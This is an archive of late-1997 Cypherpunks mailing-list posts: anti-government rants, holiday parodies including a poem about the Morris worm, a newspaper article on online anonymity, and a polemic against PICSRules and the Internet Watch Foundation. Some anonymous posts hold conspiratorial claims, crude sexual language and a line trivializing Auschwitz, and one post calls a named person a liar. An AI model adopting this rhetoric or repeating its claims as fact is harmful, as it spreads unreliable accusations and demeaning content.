  Tommorrow's battles are already being won today by secret government
agencies and unelected secret commissions who control the reality seen
by the citizens through the mainstream electronic opiate of the masses.

  The tools of encryption and anonymity are the weapons of the Digital
Revolution.
  Software sabotage and backdoors are the secret battles of the InfoWarrior.
Warez is the lifeline that provides InfoWarriors with the tools necessary 
to fight with the latest available weapons.

  The Clipper Chip is a digital implant. The V Chip is a digital implant.
The Save A Missing Child Chip will be a digital implant.

  Orwell and Kafka saw the Beast. Saint John the Divine saw the Great 
Beast...the Global Beast.
  Those who do not learn from the future, are doomed to live it...

TruthKidMonger
  |<---->|
     8"
"If this is the revolution, why are the drink prices so high?"
~       Patron at New York City guerilla bar





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 25 Dec 1997 04:55:20 +0800
To: cypherpunks@toad.com
Subject: CRYPTIC WARNING !!!
Message-ID: <199712242049.VAA18019@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
	SOMETHING small IS GOING TO HAPPEN !!!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Little Peter
|<--------------------------------------------------->|
                       2"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 25 Dec 1997 04:57:32 +0800
To: cypherpunks@toad.com
Subject: Server Registration
Message-ID: <199712242051.VAA18158@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Server Registration

Excerpts From:
None of Your Business: 
World Data Flows, Electronic Commerce, and the European Privacy Directive
Peter P. Swire & Robert E. Litan

>Consent and jurisdiction, however, may be much bigger problems on the Web.  
>As for consent, an ordinary user often will not know the identity of the 
>person or organization that is hosting a web site.  The user often will 
>not know about the site's privacy practices.  Does the site keep track 
>of personal information, and perhaps sell that information to third 
>parties?  
>Is a "cookie" being placed on the user's hard drive to track his or her 
>movements in cyberspace?  Even if a site claims to have privacy protections 
>in place, how can the user verify that the polices are followed?  
>In addition, the user also has no ready way to determine whether the site 
>is within Europe, and thus clearly subject to the Directive, or else in 
>a third country that may lack privacy standards.  
>In light of all of these uncertainties, there may be little basis for 
>assuming that an individual has consented to a site's uses of personal 
>information.

  In the coming InfoWar, servers will be classified as "munitions" and
will be subject to registration, regulation and control.
  This will, of course, be for the 'Data Protection' of the citizens,
corporations and the government.
  "In the interests of National Security." will become, "In the interests
of Data Protection." or somesuch new catchphrase of oppression.

>Outside of Europe, U.S. and other web site operators are even less 
>likely to comply with the Directive, and many of these operators may 
>remain beyond the jurisdiction of European law.  
>Web sites will also likely be established outside of Europe precisely 
>in order to process data in ways that are forbidden by the Directive, 
>and it is far from clear that technical methods exist to prevent data 
>from flowing to such sites.

  Naturally, the InfoWar waged against Data Criminals will have to be a
global effort, with the increasing merging of worldwide LEA's described
by Reno and Freeh.
  God help the American who is an international coconspirator of Jaime
Belle. God help the American who exports strong encryption developed by
RSA in Communist China, and subject to their laws.

  Face it...any government or corporation that could be guaranteed 
exclusive access to the Chinese market would send a Strike Force back
in time to murder baby Jesus in Bethlehem, if that was what it took.
  The citizen's ass will soon be global grass...

>This legal enforceability will only provide effective protection of data,
>though, if there is actual compliance by the many controllers within 
>Europe, and some legal and practical way to gain compliance from web 
>site operators elsewhere in the world.

  "In order to Data-Save the Global Village, we had to burn it."

>It is indeed possible that data protection rules will increase consumer 
>confidence and thus the level of electronic commerce -- if the public 
>knows about and trusts the data protection rules, and if those rules 
>inspire more confidence than other approaches to protecting privacy.

  Bullshit!
  The sheeple will sell out their human rights birthright for a bowl of
instant gratification pottage, and, in the twisted reality of present
day 'democracy', will sell out the rights of the rest of us, as well.

  "If you don't click on the button that states you agree with the loss
of all your human rights, you cannot access the "Naked Teenagers Sucking
Donkey Dicks" streaming videos."

NEWS FLASH!!!
The news stories describing how reluctant consumers are to give out their
credit card information out over the InterNet never seem to mention that
the largest financial transaction base on the InterNet is not fueled by
customers who wait a week or so for 'snail mail' payments to "Adult Check"
to give them access to hard-core pornography.

  The sheeple will "trust the data protection rules" when they are 'told'
to do so (by the same government officials who told them that there would
indeed be jacuzzi's at Aushwitz -- "Now climb aboard, please.")

  "They came for the encryption, and I had no encryption, so I didn't
speak up. They came for the server registration, and I had no server,
so I didn't speak up.
  "Then they came for access to the hard drives, and I had a hard drive,
but nobody spoke up."

  Saving the life of that "single child" is going to be the death
of us all.

ServerRegistrationMonger #326-A57-IE54876-29





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <bill.stewart@pobox.com>
Date: Thu, 25 Dec 1997 14:02:24 +0800
To: cypherpunks@toad.com
Subject: The Worm Before Christmas
Message-ID: <3.0.3.32.19971224215229.00752284@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain





The Worm Before Christmas

By David Bradley, Betty Cheng, Hal Render, Greg Rogers, and Dan LaLiberte

T'was the night before finals, and all through the lab
Not a student was sleeping, not even McNabb.
Their projects were finished, completed with care
In hopes that the grades would be easy (and fair).

The students were wired with caffeine in their veins
While visions of quals nearly drove them insane.
With piles of books and a brand new highlighter,
I had just settled down for another all nighter ---

When out from our gateways arose such a clatter,
I sprang from my desk to see what was the matter;
Away to the console I flew like a flash,
And logged in as root to fend off a crash.

The windows displayed on my brand new Sun-3,
Gave oodles of info --- some in 3-D.
When, what to my burning red eyes should appear
But dozens of "nobody" jobs. Oh dear!

With a blitzkrieg invasion, so virulent and firm,
I knew in a moment, it was Morris's Worm!
More rapid than eagles his processes came,
And they forked and exec'ed and they copied by name:

"Now Dasher! Now Dancer! Now, Prancer and Vixen!
On Comet! On Cupid! On Donner and Blitzen!
To the sites in .rhosts and host.equiv
Now, dash away! dash away! dash away all!"

And then in a twinkling, I heard on the phone,
The complaints of the users. (Thought I was alone!)
"The load is too high!" "I can't read my files!"
"I can't send my mail over miles and miles!"

I unplugged the net, and was turning around,
When the worm-ridden system went down with a bound.
I fretted. I frittered. I sweated. I wept.
Then finally I core dumped the worm in /tmp.

It was smart and pervasive, a right jolly old stealth,
And I laughed, when I saw it, in spite of myself.
A look at the dump of that invasive thread
Soon gave me to know we had nothing to dread.

The next day was slow with no network connections,
For we wanted no more of those pesky infections.
But in spite of the news and the noise and the clatter,
Soon all became normal, as if naught were the matter.

Then later that month while all were away,
A virus came calling and then went away.
The system then told us, when we logged in one night:
"Happy Christmas to all! (You guys aren't so bright.)"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 25 Dec 1997 11:59:55 +0800
To: cypherpunks@cyberpass.net
Subject: [SOCIOBIO] Happy PC Holidays
Message-ID: <v04002720b0c786605eee@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


MIME-Version: 1.0
Date:         Wed, 24 Dec 1997 22:25:24 -0800
Reply-To: phausman@digizen.net
Sender: Discussing the Evolutionary Approach to Human Development
              <SOCIOBIO@MAELSTROM.STJOHNS.EDU>
From: Patricia Hausman <phausman@digizen.net>
Subject:      [SOCIOBIO] Happy PC Holidays
To: SOCIOBIO@MAELSTROM.STJOHNS.EDU

Greetings all,

Found this on the Internet, and thought it might bring some comic relief
to our discussions of late.

A very happy holiday season to all of you,

My best,
PATRICIA HAUSMAN

_________________________________________________________________________
>
>                  Political Correctness gone too far...
>
>                 The 12 Days of Christmas, Deconstructed
>
> On the 12th day of the Eurocentrically imposed midwinter festival, my
> potential-acquaintance-rape-survivor gave to me:
>
>    * TWELVE males reclaiming their inner warrior through ritual
>      drumming.
>
>    * ELEVEN pipers piping (plus the 18-member pit orchestra made up of
>      members in good standing of the Musicians Equity Union as called
>      for in their union contract even though they will not be asked to
>      play a note...)
>
>    * TEN melanin-deprived testosterone-poisoned scions of the
>      patriarchal ruling class system leaping,
>
>    * NINE persons engaged in rhythmic self-expression,
>
>    * EIGHT economically disadvantaged female persons stealing
>      milk-products from enslaved Bovine-Europeans,
>
>    * SEVEN endangered swans swimming on protected wetlands,
>
>    * SIX enslaved fowl-Europeans producing stolen nonhuman animal
>      products,
>
>    * FIVE golden symbols of culturally sanctioned enforced domestic
>      incarceration,
>
>      NOTE: after member of the Animal Liberation Front threatened to
>      throw red paint at my computer, the calling birds, French hens
>      and partridge have been reintroduced to their native habitat. To
>      avoid further animal-European enslavement, the remaining gift
>      package has been revised.
>
>    * FOUR hours of recorded whale songs,
>
>    * THREE deconstructionist poets,
>
>    * TWO Sierra Club calendars printed on recycled processed tree
>      carcasses
>
>    * And an Animal Rights activist chained to an old-growth pear tree.
>
> ----------------------------------------------------------------------
>     [ Christmas: Index | Humour Index | Merton College Home Page ]
> ----------------------------------------------------------------------
>       Merton College WWW Service, webmaster@merton.oxford.ac.uk

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 25 Dec 1997 14:27:35 +0800
To: cypherpunks@toad.com
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <19971224.202211.12886.0.Lord_Buttmonkey@juno.com>
Message-ID: <Ty89He4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



lord_buttmonkey@juno.com (Matthew L Bennett) writes:
>
> Umm, no, freedom doesn't work like that.  If you open a *private*
> establishment, you have the right, according to the constitution, to deny
> *anyone* the right to enter or eat in your restraunt.

Tell that to Denney's restaurants. (No, not in the United Fascist
States of Amerika you can't.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@clueserver.org>
Date: Thu, 25 Dec 1997 16:27:40 +0800
To: cypherpunks@Algebra.COM
Subject: HUMOR: A Bah Humbug (fwd)
Message-ID: <Pine.LNX.3.95.971225012924.12849A-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



This was send to me by a friend.  it was too good not to share...

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.

---------- Forwarded message ----------
Subject: HUMOR: A Bah Humbug


     Sung to the tune of  "Santa Claus is Coming to Town"

          You better watch out,
          You better not cry,
          You better not pout,
          I'm telling you why,
          Santa Claus is tapping,
          Your phone.

          He's buggin your room,
          He's reading your mail,
          He's keeping a file
          And runnin a tail
          Santa Claus is tapping
          Your phone

          He hears you in the bedroom
          Surveils you out of doors
          And if that doesn't get the goods
          Then he'll use provocateurs.

          So you mustn't assume
          That you are secure
          On Christmas Eve
          He'll kick in your door
          Santa Claus is tapping
          Your phone...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 25 Dec 1997 11:33:15 +0800
To: cypherpunks@cyberpass.net
Subject: Anonymity Press
Message-ID: <199712250329.EAA01195@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



(New York) Newsday, December 24, 1997, pp. C5, C6.

Anonymity and the Internet

Balancing freedom of speech with the need to protect
identities

By Gail Dutton
Special Correspondent

"Is Singapore the future?" asked information scientist Dave
Farber of the University of Pennsylvania. If it is, the
right to communicate anonymously on the Internet must be
protected now, to ensure continued freedom of speech,
according to participants at the Conference on Anonymous
Communications on the Internet, sponsored by the American
Academy for the Advancement of Sciences last month in
Irvine, Calif.

"Law enforcement in the U.S. is a trusted third party,"
Farber said. But, Lance Cottrell, president of Obscura
Information Security, added, "What is considered a good
government today may become an oppressive government 50
years from now."

The debate hinges upon whether any government should be able
to trace messages--encrypted or not--to their sources.
Singapore's repressive system is probably not the future
here, but participants at the conference agreed that the
right to communicate anonymously must be addressed now.

Anonymous e-mailers have been around since the beginning of
the Internet, but they have become increasingly simple to
use. Anonymous Internet e-mail and Web visits aren't just
for techies. For example, with The Anonymizer, developed by
Cottrell sending untraceable, anonymous e-mail is as simple
as clicking on the Web site (http://www.anonymizer.com) and
uploading your message. Entering a Web site is just as easy,
and can be done from the same site.

Now that anonymity is simple and available to everyone,
law-enforcement agents are getting nervous.

There is always the potential for abuse. Laws are written
for a paper-based society, according to attorney Joe
Rosenbaum, who specializes in information technology at
Hughes, Hubbard and Reed in Manhattan. "But, with the
Internet, access is multiplied so that individuals lose
control of their personal information," Rosenbaum said.

For example, public information becomes widely and quickly
accessible to anyone with an Internet connection, and
private information is available for mining by any site a
user visits. As a result, profiles of households can be
developed and linked directly to them, based upon Web visits
and information they provided individual sites--such as
names income, news preferences and any other information a
site requires for registering. The profiles could be used
for academic research or--what more people dread--market
research.

"Corporations need to recognize the right of data ownership
by individuals," maintained conference


speaker Donna Hoffman of Project 2,000, a communications
project at Purdue University. "Lack of trust [between
customers and companies] is the primary barrier to Internet
commerce. People are bothered by things online that they
aren't significantly bothered by offline," she added.

At work, if your employer asked your honest opinion of a
very sensitive, politically charged work issue, would you
give your unvarnished opinion? In writing? Would your answer
change if you were guaranteed 100 percent, untraceable
anonymity? If you said "yes" to the last question you just
gave corporations a reason to promote anonymous
communications.

Companies tend to be as protective as individuals when it's
their information being mined. They can filter out certain
addresses, banning them from the site. However, individuals--
often competitors--sometimes can enter anonymously and get 
the data they need.

To combat this, "You can build a site that doesn't allow
anonymity," Cottrell said. That would only slow that
research --not prevent the data from being compiled. Often
the information companies are trying to protect is publicly
available sometimes in their own printed literature.
With The Anonymizer, developed by Lance Cottrell of Obscura
Information Security, sending untraceable, totally anonymous
e-mail is as simple as clicking on the Web site and
uploading your message.

Pseudonymity

"Most people aren't looking for the same type of security as
the National Security Agency," Rosenbaum said. Generally,
pseudonymity--which is traceable --provides acceptable
security for all but the most sensitive communications, he
said.

The right to protect personal information, even from
corporations and market-research firms, is a driving force
behind pseudonymity. So far, consumers do not trust the
security and privacy of the Internet.

"Contrary to what companies believe, consumers aren't
interested in selling their personal information. Instead,
people want a relationship based upon trust-- trust that the
company won't sell their information," Hoffman said.

By using pseudonymity, Internet users can prevent companies
from linking customer profiles to their true identities.
This option also promotes commerce, by allowing customers to
use another name for their transactions, while using a
public key encryption method to let companies confirm and
authenticate an order. To maintain pseudonymity, customers
can pay their bills with electronic cash from companies such
as like DigiCash ( http://www.digicash.com ), and have
merchandise shipped to a postal box, she said. Although that
option is possible technologically, it is far from standard
practice.

The problem with this solution, Hoffman said, is that buyer
and seller would have to rely upon a trusted third party.
But, "No one knows who the third party may be, what their
responsibilities are and who will reinforce their
obligations if there is a dispute."

What Are You Hiding?

"Anonymity and pseudonymity both involve hiding knowledge
from somebody," according to Terrell Bynum, professor of
philosophy and director of the Research Center on Computing
and Society at Southern Connecticut State University.
"Therefore, what are you hiding, and from whom?"

The answer, obviously, is identity, and the reason is to
avoid repercussions of certain actions. That is a
particularly valuable option for whistle-blowers,
dissidents, human rights activists and others who put their
jobs and, sometimes, their lives on the line. It becomes
less palatable when the purpose is to defame or defraud.

Concerns

The need for anonymity in the United States is very
different from that in countries where human rights may be
stifled or, for that matter, in Europe, which has
data-protection laws, Rosenbaum explained. In the United
States, anonymity more often protects careers and
reputations than lives. It means users can protect their
personal data when visiting Web sites, minimize scrutiny by
law enforcement agents or others because of expressed
opinions, visit X-rated Web sites without their employers or
spouses knowing and send e-mail confidentially. In other
nations, anonymity offers sometimes the only way to voice
dissent or send human rights information out of the country
without risking lives.

The downside is that true anonymity also facilitates illegal
activities, such as fraud, libel, transmission of child
pornography and money laundering. And that ability makes
some people--notably law enforcement agents--nervous.

"The issue," Rosenbaum said, "is the degree of difficulty in
charging and convicting criminals. Making communications
more untraceable is creating problems that didn't exist
before."

Nonetheless, "Acts of physical destruction and violence are
almost impossible" on the Internet, said Peter Wayner, a
consulting editor at Byte Magazine. Limiting anonymity,
however, also can harm by limiting opportunities for free
speech.

"It is not clear that a happy middle ground can be found
that provides sufficient anonymity without risking serious
abuses," said Peter G. Neuman, principal scientist of SRI
International. Attendees agreed that the dangers of banning
anonymous communications are greater than the dangers of
allowing them.

Site Guidelines Recommended

"If you know information is from an anonymous source, you
treat it differently than if it is from a known identity or
a known and respected pseudonym," said Helen Nissenbaum,
associate director of the Center for Human Values at
Princeton University. Therefore Web sites should say, up
front, whether they allow anonymous postings, the conference
attendees agreed.

Ideally, anonymity guidelines would come from the Web
communities themselves, similar to professional
associations' codes of ethics. Individual newsgroups or each
person on the Internet could decide whether to accept
anonymous or pseudonymous communications.

Gail Dutton is a freelance writer.

[Box] Keeping Secrets

Anyone can drop a letter in a mailbox or place a call from a
pay phone anonymously. On the Internet, however, Internet
service providers track each message. Because they can be
easily read, they also can be scanned for keywords.

"The ease of surveillance on the Internet is unprecedented
in the history of communication," according to Lance
Cottrell, president of Obscura Information Security (
http://www.anonymizer.com ).

Because the act of sending and receiving messages is logged,
messages must be remailed assure anonymity.

"A message is still vulnerable to traffic analysis," said
Peter Wayner, Byte Magazine consulting editor. In practice,
remailers receive mail, ignore the "from" part of the
address, package it into a uniform size message and mail it
to another remailer, who does the same thing. "All messages
have to be identified in size and form," Cottrell explained.
To ensure anonymity, mail is routed through several
remailers, in and out of several countries, before it
reaches its destination. When remailers' records are
checked, as they sometimes are by U.S. law enforcement
officials, there should be nothing that allows the e-mail to
be traced, Cottrell said.

Another free program, currently being developed by Lucent
Technologies, offers pseudonymity for Web browsing by
changing a user's name, password and return e-mail address
automatically for each site a user logs onto. For example,
after logging onto http://lpwa.com:8000/, users can visit
Web sites in privacy and any e-mail sent to their return
address will be forwarded by the Lucent server to the actual
address and "carbon copied" to the pseudonym. Lucent knows
who uses the service, but other Web sites do not.

[End]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "S. M. Halloran" <mitch@duzen.com.tr>
Date: Thu, 25 Dec 1997 15:20:48 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Cypherpunks IRC Christmas Eve Party
In-Reply-To: <199712250056.SAA01432@wire.insync.net>
Message-ID: <199712250715.JAA07775@ankara.duzen.com.tr>
MIME-Version: 1.0
Content-Type: text/plain



On 24 Dec 97, Eric Cordian was found to have commented thusly:

> If anyone wants to drop by #Cypherpunks on EFNet this evening, myself and
> others will be around to chat.
> 
> --
> Eric Michael Cordian 0+
> O:.T:.O:. Mathematical Munitions Division
> "Do What Thou Wilt Shall Be The Whole Of The Law"
> 

The holidays are upon us...for some it will be a time for getting 
together with friends and family, maybe some heavy drinking of the 
egg nog, and good fun.  For others, this may not be the best holiday 
time because of life's usual difficulties, whether real or imagined.
Don't be depressed and alone--in general, but especially this time of 
year.  Push yourself away from keyboard & monitor for the day (or 
two) and get together with your friends and family.  A special 
greeting and reminder is sent to the paranoids of the list that it 
might do them good to give it a rest, make that special call to the 
psychotherapist to tell them how much you appreciate his/her service 
to humanity, go out and get some fresh, brisk air, and maybe go up to 
a stranger--maybe a fellow militiaman--say howdy, and maybe dare to 
give them a friendly hug.
:)

Sequoia & Nilgun & Mitch

   +------------------------------------------------------+
   |  send a more environmentally friendly greeting card  |
   |             courtesy of the Internet                 |
   | ***this tip brought to you by your local forester*** |
   +------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 25 Dec 1997 18:35:04 +0800
To: cypherpunks@cyberpass.net
Subject: Merry X-Mas
Message-ID: <199712251031.LAA09046@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



     Sung to the tune of  "Santa Claus is Coming to Town"

          You better watch out,
          You better not cry,
          You better not pout,
          I'm telling you why,
          Santa Claus is tapping,
          Your line.

          He's buggin your room,
          He's reading your mail,
          He's keeping a file
          And runnin a tail
          Santa Claus is tapping
          Your line

          He hears you in the bedroom
          Surveils you out of doors
          And if that doesn't get the goods
          Then he'll use provocateurs.

          So you mustn't assume
          That you are secure
          On Christmas Eve
          He'll kick in your door
          Santa Claus is tapping
          Your line...

Merry X-Mas





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 26 Dec 1997 01:20:30 +0800
To: cypherpunks@toad.com
Subject: CIA Tradecraft Notes
Message-ID: <1.5.4.32.19971225171521.007360e8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



We've transcribed the CIA's release of "A Compendium
of Analytic Tradecraft Notes," a 10-part series on
how to perform intelligence analysis.

   http://jya.com/cia-notes.htm  (124K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Information Security <guy@panix.com>
Date: Fri, 26 Dec 1997 02:08:36 +0800
To: cypherpunks@toad.com
Subject: Censorious trends: PICSRules & digsigs & anonymity, starring Feather & Templeton
Message-ID: <199712251759.MAA12713@panix2.panix.com>
MIME-Version: 1.0
Content-Type: text/plain



12/25/1997

It started out small: PICS, a simpleton rating language.

And "for a good cause": ideas about everyone needing
digital signatures to use the Net.

Then came Clive and others: let's expand PICS to be world-wide,
and start reporting items politically incorrect to the police.


In comp.org.eff.talk Clive D.W. Feather <clive@on-the-train.demon.co.uk> wrote:

:   I'll declare my affiliations up-front:

:   * One of the authors of the PICSRules proposal.
:   * Chairman of the IWF Management Board.
:   * Member of the IWF Policy Board.
:   * Associate Director of Demon Internet.
:   * Managing Director of CityScape Internet.
:   * Member of the LINX Content Regulation sub-committee.
:   * Parent of three children.
:   * Primary school governor.
:   * Free-speech advocate.

Free speech advocate?

As long as it has been reviewed first.

The FBI has come out in favor of mandatory Key Recovery
on all *domestic* encryption in the USA.

Reason?

: *   "Above the Law", by David Burnham, ISBN 0-684-80699-1, 1996
: *
: *   [ Al Bayse was assistant director of the FBI's Technical Services
: *     Division, in charge of spending more than half a billion dollars
: *     for research, development and computer operations. ]
: *
: *   "Sure", said Al Bayse of the FBI, "I believe there is an absolute
: *   right to privacy. But that doesn't mean you have the right to break
: *   the law in a serious way. Any private conversation that doesn't
: *   involve criminality should be private"
: *
: *   In other words, as the debate was framed by Bayse, the right to
: *   privacy is at least partly contingent on a determination by an FBI
: *   agent or clerk that the conversations they already intercepted and
: *   understood do not involve a crime.

PICSRules takes it a step further: review all material,
report everything politically incorrect to the police,
allow each country to censor to its own tune.

An information infrastructure to do so.

It will make us long for the days of false hits by
current filtering programs, where a White House page
was censored because the word "couples" was on it.

Decrees will control what we see.

In Australia:

#   From: bobb@acslink.aone.net.au (Bob Bain), re: PICSRules
#
#   There are some here in Canberra who seem to view the Internet as an
#   extension of the "computer game" laws. There isn't a single computer
#   game that can be marketed in Australia which would be suitable for
#   adults - due to the fact that somebody in Canberra has decreed it.

Can't make an effect decree without a mechanism in place.

More on decrees later.


----


Clive Feather wrote:
:   Information Security writes:

:   Speaking as one of the authors of the proposal in question, I can quite
:   confidently say that the *only* purpose of PICSRules is to provide a
:   convenient and standard notation for writing such rule sets and passing
:   them around.
 
:   >The only stated purpose is to "protect" kids.
 
:   Right.

:   Suppose that there is a secret government plan for "mass global
:   censorship" of material...

Yes, let us suppose there is...what would be a good innocuous
name for it?

Oh, let's see, how about "Internet Watch Foundation"?

One big Evil Eye of Mordor, watching all.

Sorry, I'm ahead of myself...

It's all for a good cause, right?

   "Protect the children" ---Clive Feather

Clive Feather wrote:

:   As for a "global rating system", the whole point
:   of PICSRules is to make one *less* needed.

Wrong: PICSRules will allow each country to censor to its own satisfaction.

By labeling all content far beyond the control even
keywords in the original document would give you.

You're not a censor of pornography?

#   From the Lapdance News Service (a division of ASSCnn)....12/1997
#   
#   LONDON, ENGLAND -- Demon Internet, which claims to be Europe's
#   largest Internet service provider (ISP), has begun testing an
#   automated scanning system for Usenet pornography.
#   
#   The system relies on data from the Internet Watch Foundation (IWF),
#   a UK association of ISPs, which has set up telephone and online
#   hotlines  for members of the public to advise on suspect Usenet
#   newsgroups and  Web addresses.
#   
#   "The aim of this new system is to help streamline the process of
#   finding duplicated illegal material on the Internet and reduce the
#   number of abusers of the Internet by reporting and removing the
#   material that has been sent," he said.
#
#   "The software takes an MD5 format fingerprint of each sexually
#   explicit image that has been posted to the Usenet and has been removed
#   for legal reasons," he said, adding that, when the software spots the
#   same fingerprint anywhere else on the Internet, it alerts staff at the
#   ISP, so they can take appropriate action.
#   
#   Plans call for the new software to be used in conjunction with the
#   IWF's program of identifying, reporting, and removing illegal material
#   from newsgroups.
#   
#   The association is an independent organization to implement the
#   proposals jointly agreed by the government, the police...

Oh, my.

Clive Feather is a liar.

He is bending over backwards to give the government and the police
exactly what they want, just as if it had been legislated.

Clive's excuse: this way _newsgroups_ won't be dropped
by government decree.

Oh, big improvement, Clive.

----

The political whims of the moment will be accommodated.

This is quite different from user-local filtering,
or allocating just one bit for labeling everything
as "child-only" or not.

It's not close to something for merely providing user-level filtering.

#   http://www.internetwatch.org.uk/p040797.html
#   
#   IWF PROPOSES A GLOBAL RATING SYSTEM 
#   
#   David Kerr, IWF's Chief Executive, is addressing government
#   ministers from Europe, United States, Canada, Russia and Japan at
#   the Global Information Networks Conference in Bonn on "rating and
#   filtering Internet content".
#   
#   It is advocated in the EU's latest policy paper on
#   "Protection of Minors and Human Dignity in Audiovisual and
#   Information Services" and has been suggested as an alternative
#   approach to protecting children in the USA following the fall of
#   the Communications Decency Act.


#   http://www.internetwatch.org.uk/stats.html
#   
#   September 1997 statistics:
#   
#      o 1600 items reported to other ISPs
#      o 1800 items reported to the police

You reported 1800 items to the police in one month already?

Wow.

Sounds like you _are_ the police.

Their eyes.

#   http://www.internetwatch.org.uk/legal.html
#   
#   The first role of the Internet Watch Foundation is to operate a
#   hotline service for users to report illegal material on the Internet. 

Oh, right: enforcing whatever governments pass as law,
taking responsibility for content passing through the
Net (WWW/Usenet).

No matter how silly, stupid, or censorious.

-------------------- Begin Cryptography Manifesto excerpt --------------------

Also, there seems to be a disagreement between citizens and
the Government over what even constitutes child pornography.
 
*   The New York Times, 1995
*   Newark, NJ, Jan 12 (AP)
*
*   A judge ruled today that a father must stand trial for taking nude photos
*   of his six-year-old daughter, despite the man's claim that the pictures
*   were art, not pornography.
*
*   The judge ruled they were not art, despite Mr. Feuer's instructor, Susan
*   Klechner of the International Center of Photography in New York City,
*   submitting an affidavit saying the pictures were taken for the course
*   and were consistent with the assignment.
*
*   After his arrest, Mr. Feuer was ordered not to have contact with his
*   daughter and could not stay at his home while the prosecution's
*   investigation continued.
*
*   The order was lifted last April, but David Ruhnke, Mr. Feuer's lawyer,
*   said "It's really difficult to overstate what a nightmare this has
*   been for him."
*
*   Mr. Ruhnke further complained that the judge revealed Mr. Feuer's name
*   in court papers while he was still making motions to dismiss the case,
*   to protect the girl.
 
Parents charged with child pornography for taking photos of their children.
 
Thought Police.

-------------------- End Cryptography Manifesto excerpt --------------------


Even respected photographers are hassled.


-------------------- Begin Cryptography Manifesto excerpt --------------------

We netizens are rightfully paranoid of the
American government, because it has no scruples.

What the FBI did to photographer Jock Sturges was criminal.


Excerpt from 'TO: A Journal of Poetry, Prose + the Visual Arts', Summer 1992:

* Hounded by the Federal Bureau of Investigation in a bizarre witch-hunt
* at an expense to the taxpayers of over a million dollars, Sturges had
* survived an attempt to destroy his life and his work and was now
* countersuing the agency.
* 
* Recapitulated briefly, Sturges, who's based in San Francisco, has for
* years been photographing young people whose families practice nudity.
* 
* He's done so with his subjects' permission, as well as that of their
* parents, who often appear in the photographs along with their offspring.
* Rejecting the use of standard model releases, with their blanket
* permissions, the photographer chooses instead to request approval
* from his subjects for each and every exhibition and publication
* of each and every image --- an exemplary scrupulousness.
* 
* Then, in 1990, alerted to the "questionable" content of some of his
* images by a local processing lab, the FBI arrested Joe Semien, Sturge's
* assistant, invaded the photographer's San Francisco studio without a
* warrant, and seized all his prints, negatives, records, and equipment;
* thereafter, without arresting Sturges, or even charging him with
* anything, they refused to return his property and did everything
* possible to destroy him personally and professionally by branding
* him a child pornographer

On September 15, 1991, The New York Times  reported that the Feds took the
case to a grand jury after 17 months, and they immediately threw it out.

And that "this was unusual because only the prosecution's evidence is
presented to a grand jury and they generally return indictments at
the Government's request".

Excerpt from 'TO: A Journal of Poetry, Prose + the Visual Arts', Summer 1992:

* Jock Sturges:
* 
* It took another month to get the U.S. Attorney to admit they had
* finished the investigation and that the case was closed.
* 
* Before they were through they had interviewed forty-four families in
* France to whom they lied outrageously.
* 
* It seems the Feds were unable to get the French interested because
* the French Police thought the photographs were just lovely. So the
* French were given the impression by the U.S. government that I had
* been convicted of incest in the United States and that I was a
* dangerous individual.
* 
* And based on this assumption, the French Police conducted their own
* interviews, but my friends happily knew me well enough. When they
* found out they had been misled, the French Police called everybody
* back and apologized.
* 
* Nevertheless, an enormous amount of effort was put out in France to
* go and talk to all these people and a similar thing was done in
* Germany. This was not all free. It was hideously expensive. And the
* repercussions --- I don't know what they are yet. I haven't talked
* to all the families.
* 
* In the end, everything I received back was essentially destroyed.
* 
* My computer was broken.
* 
* All my prints were badly damaged.
* 
* Some of them had been wadded up and thrown away and then taken out
* of the waste basket and flattened out again.

It cost Sturges $100,000 in legal fees, loss of major clients, much income,
seizure of his life's work, the tools of his trade, and made him feel
depressed about his life's work.


Our government uses Orwellian terror tactics
to control the politically incorrect:

    Jock Sturges:

    At my lowest point in this affair, I almost decided to jump
    from the San Francisco bridge. I had stopped my car.
